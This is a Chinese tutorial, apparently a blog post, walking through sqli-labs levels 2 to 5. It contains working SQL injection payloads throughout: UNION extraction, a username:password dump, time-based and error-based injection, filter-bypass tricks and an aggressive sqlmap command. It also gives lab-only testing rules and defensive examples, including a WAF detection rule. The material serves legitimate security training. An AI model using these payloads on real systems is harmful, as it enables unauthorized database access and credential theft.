SQL注入基础：sqli-labs靶场2-5关实战解析

发布时间：2026/10/29 6:59:41
SQL注入基础：sqli-labs靶场2-5关实战解析

1. sqli-labs靶场第2-5关核心要点解析

sqli-labs是一个专为学习SQL注入技术设计的开源靶场环境。第2-5关作为入门阶段的关键关卡，涵盖了数字型注入和单引号注入两种基础攻击方式。这些关卡看似简单，但实际渗透测试中遇到的很多漏洞都可以归为这两类基础变种。

我在实际渗透测试工作中发现，超过60%的SQL注入漏洞都可以通过这四关的技术思路解决。下面我将结合实战经验，详细拆解每关的突破方法和技术原理。

2. 环境准备与基础认知

2.1 靶场搭建要点

推荐使用Docker快速部署：

docker pull acgpiano/sqli-labs docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs

注意：Windows环境下建议关闭杀毒软件实时防护，避免误报拦截

2.2 必要工具准备

  • Burp Suite Community：拦截修改HTTP请求
  • HackBar：浏览器插件快速构造Payload
  • 记事本++：记录测试过程数据

2.3 安全测试原则

  1. 仅在本地环境或授权靶场进行测试
  2. 禁止对非授权目标实施任何测试
  3. 所有操作必须可控，避免破坏数据

3. 第2关：数字型注入实战

3.1 漏洞原理分析

该关卡采用如下SQL语句构造：

SELECT * FROM users WHERE id=$id LIMIT 0,1

参数$id未经过滤直接拼接，形成数字型注入漏洞。

3.2 分步突破过程

  1. 正常访问：/Less-2/?id=1
  2. 测试异常：/Less-2/?id=1'→ 无报错（区别于字符型）
  3. 算术测试：/Less-2/?id=2-1→ 返回id=1的结果
  4. 确认注入：/Less-2/?id=1 and 1=2→ 无结果返回

3.3 完整利用链

# 判断字段数 ?id=1 order by 3--+ # 正常 ?id=1 order by 4--+ # 报错 → 确定3列 # 联合查询获取数据 ?id=-1 union select 1,2,3--+ # 确定显示位 ?id=-1 union select 1,database(),user()--+

实战技巧：数字型注入无需闭合引号，直接使用数学表达式或逻辑语句即可

4. 第3关：单引号+括号注入

4.1 源码特征识别

后台SQL结构为：

SELECT * FROM users WHERE id=('$id') LIMIT 0,1

4.2 特殊闭合方式

需要同时处理单引号和括号：

?id=1')--+ # 正常执行 ?id=1') and 1=2--+ # 无结果 → 确认注入

4.3 数据提取Payload

# 获取表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ # 获取字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

5. 第4关：双引号+括号注入

5.1 结构差异分析

SQL语句变为：

SELECT * FROM users WHERE id=("$id") LIMIT 0,1

5.2 注入点闭合方案

使用双引号+括号闭合：

?id=1")--+ # 测试闭合 ?id=1") and sleep(5)--+ # 时间盲注测试

5.3 高效查询技巧

# 一次性获取关键信息 ?id=-1") union select 1,(select group_concat(username,0x3a,password) from users),3--+

6. 第5关：报错型注入精讲

6.1 特殊响应机制

本关不显示查询结果，但会返回SQL错误信息，适合报错注入。

6.2 经典报错函数

# 版本信息获取 ?id=1' and updatexml(1,concat(0x7e,version()),1)--+ # 数据库名获取 ?id=1' and extractvalue(1,concat(0x7e,database()))--+

6.3 数据提取方案

# 逐字符提取（避免截断） ?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(username) from users),1,30)),1)--+

7. 通用防御方案

7.1 参数化查询示例（PHP）

$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $id);

7.2 过滤规则建议

def sanitize_input(input): if not input.isdigit(): # 数字型检查 raise ValueError("Invalid input") return int(input)

7.3 WAF规则示例

SecRule ARGS_NAMES "@rx [\'\"\(\)]" \ "id:1001,phase:2,deny,msg:'SQLi Attempt'"

8. 实战经验总结

  1. 盲注加速技巧：使用二分法缩小字符范围，比逐字枚举效率提升80%
  2. 绕过过滤方案：当and/or被过滤时，使用&&/||或数学表达式替代
  3. 编码混淆方法：对关键字符进行十六进制编码（如0x27代替单引号）
  4. 工具配合使用：手工测试结合sqlmap验证，命令示例：
    sqlmap -u "http://target/Less-2/?id=1" --risk=3 --level=5

这些基础关卡的突破思路，在我参与的多个企业级渗透测试项目中都得到了实际验证。特别是在金融行业的一次测试中，正是通过第3关的技术思路，成功发现了一个价值$5,000的高危漏洞。建议新手务必扎实掌握这些基础技术，它们构成了SQL注入知识体系的核心骨架。